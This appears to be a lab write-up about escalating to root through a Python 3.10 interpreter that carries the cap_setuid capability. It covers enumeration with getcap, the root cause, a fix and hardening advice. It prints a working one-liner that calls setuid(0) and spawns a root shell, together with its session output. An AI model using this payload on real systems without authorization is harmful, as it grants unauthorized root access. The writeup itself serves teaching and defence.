← Back to all writeups

python3.10 With cap_setuid — Local Privilege Escalation

A LinPEAS scan flagged python3.10 carrying the cap_setuid capability — enough on its own to call setuid(0) and drop straight into a root shell.

capabilitiespythonlinuxprivilege-escalationgtfobinslinpeas

SUID bits get all the attention in privilege escalation write-ups, but Linux capabilities are the quieter, more granular cousin of that same problem — and they get missed constantly because most people only think to check find / -perm -4000 and stop there. This lab was a good example of why capability enumeration deserves the same priority as SUID enumeration.

I had a shell as a low-privilege user, ran LinPEAS, and it flagged one line that ended the box.


The Setup

Working as the user app on a box called ubuntu, inside a directory called ~/gerapy, I ran LinPEAS as part of standard enumeration. Alongside the usual SUID checks, LinPEAS also enumerates POSIX capabilities set on binaries across the filesystem — a category of privilege that doesn’t require the SUID bit at all.

getcap -r / 2>/dev/null

That command (which is exactly what LinPEAS runs under the hood for this check) walks the filesystem looking for any file with capabilities attached, and it turned up:

getcap -r / output listing files with capabilities, with /usr/bin/python3.10 cap_setuid=ep highlighted

/usr/bin/python3.10 = cap_setuid+ep

python3.10, flagged with cap_setuid+ep. That’s not a standard capability to have on a general-purpose interpreter, and it’s an extremely dangerous one to have at all.


Enumeration — What cap_setuid Actually Grants

Linux capabilities break up the traditionally all-or-nothing power of root (UID 0) into individual, independently grantable permissions. Instead of giving a binary full root via the SUID bit, you can give it just the one specific privileged operation it needs.

cap_setuid grants exactly what its name suggests: the ability to call setuid() and arbitrarily change the process’s user ID — including to 0. The +ep suffix means the capability is both effective (active immediately) and permitted (inheritable by the process). For a general-purpose scripting language interpreter, this capability is equivalent to a root-owned SUID binary, because Python can trivially invoke setuid() from a one-liner and then do anything it wants as root.

GTFOBins documents this exact scenario under Python’s Capabilities section.


Exploitation

The payload is a single Python one-liner: call setuid(0) to become root, then spawn a shell that inherits that UID.

/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'

python3.10 one-liner calling os.setuid(0) and spawning /bin/sh, whoami returns root

app@ubuntu:~/gerapy$ /usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'
whoami
root
bash -i
root@ubuntu:~/gerapy#

os.setuid(0) succeeded immediately — no error, no permission check to bypass — because the capability was already attached directly to the python3.10 binary. The moment that call returned, the interpreter’s process itself was running as UID 0, and everything spawned from it (/bin/sh, then an interactive bash -i) inherited that same privilege.


Why This Works

Capabilities are stored as extended file attributes on the binary itself, checked by the kernel at execve() time — completely independent of the SUID bit. That means:

  • A binary can carry cap_setuid without ever showing up in a find / -perm -4000 sweep, since that only catches the SUID bit, not capabilities
  • Any process spawned from that binary starts with the capability already active, no exploit or memory corruption required — it’s a directly callable, intended kernel API
  • setuid(0) is a completely legitimate system call; the only thing distinguishing “legitimate use” from “privilege escalation” is whether the calling binary should have had cap_setuid in the first place

Because Python can execute arbitrary code via -c, having cap_setuid on the interpreter binary is functionally identical to having full root SUID on it — there’s no meaningful restriction on what a process with unrestricted code execution and the ability to become UID 0 can do next.


Root Cause

The cap_setuid capability was attached directly to the general-purpose Python interpreter:

setcap cap_setuid+ep /usr/bin/python3.10

This is almost always the result of someone granting a capability to solve one specific, narrow problem — for example, letting an application drop privileges from root to a service account — and attaching it to the interpreter binary itself instead of a dedicated, minimal helper script.

Fix: Remove the capability from the interpreter entirely:

setcap -r /usr/bin/python3.10

If a capability like cap_setuid is genuinely required for a specific script’s functionality, attach it to a narrowly scoped, purpose-built binary instead of a general-purpose interpreter that can execute arbitrary user-supplied code:

# Attach the capability to a single-purpose compiled helper, never to python/perl/bash directly
setcap cap_setuid+ep /usr/local/bin/drop-privileges-helper

Audit capabilities across the filesystem the same way you audit SUID binaries — regularly, and as a standard part of any hardening pass.


Key Takeaways

  • find / -perm -4000 only catches SUID binaries — always pair it with getcap -r / 2>/dev/null to catch capability-based privilege escalation paths too
  • cap_setuid on any interpreter (Python, Perl, Ruby, Node) that can execute arbitrary code is equivalent to a root SUID binary — there’s no meaningful containment
  • LinPEAS surfaces capability findings automatically; don’t skip past them just because they’re less familiar than SUID output
  • Capabilities should always be attached to the smallest, most purpose-built binary possible — never to a general-purpose interpreter

Questions? Hit me up on X.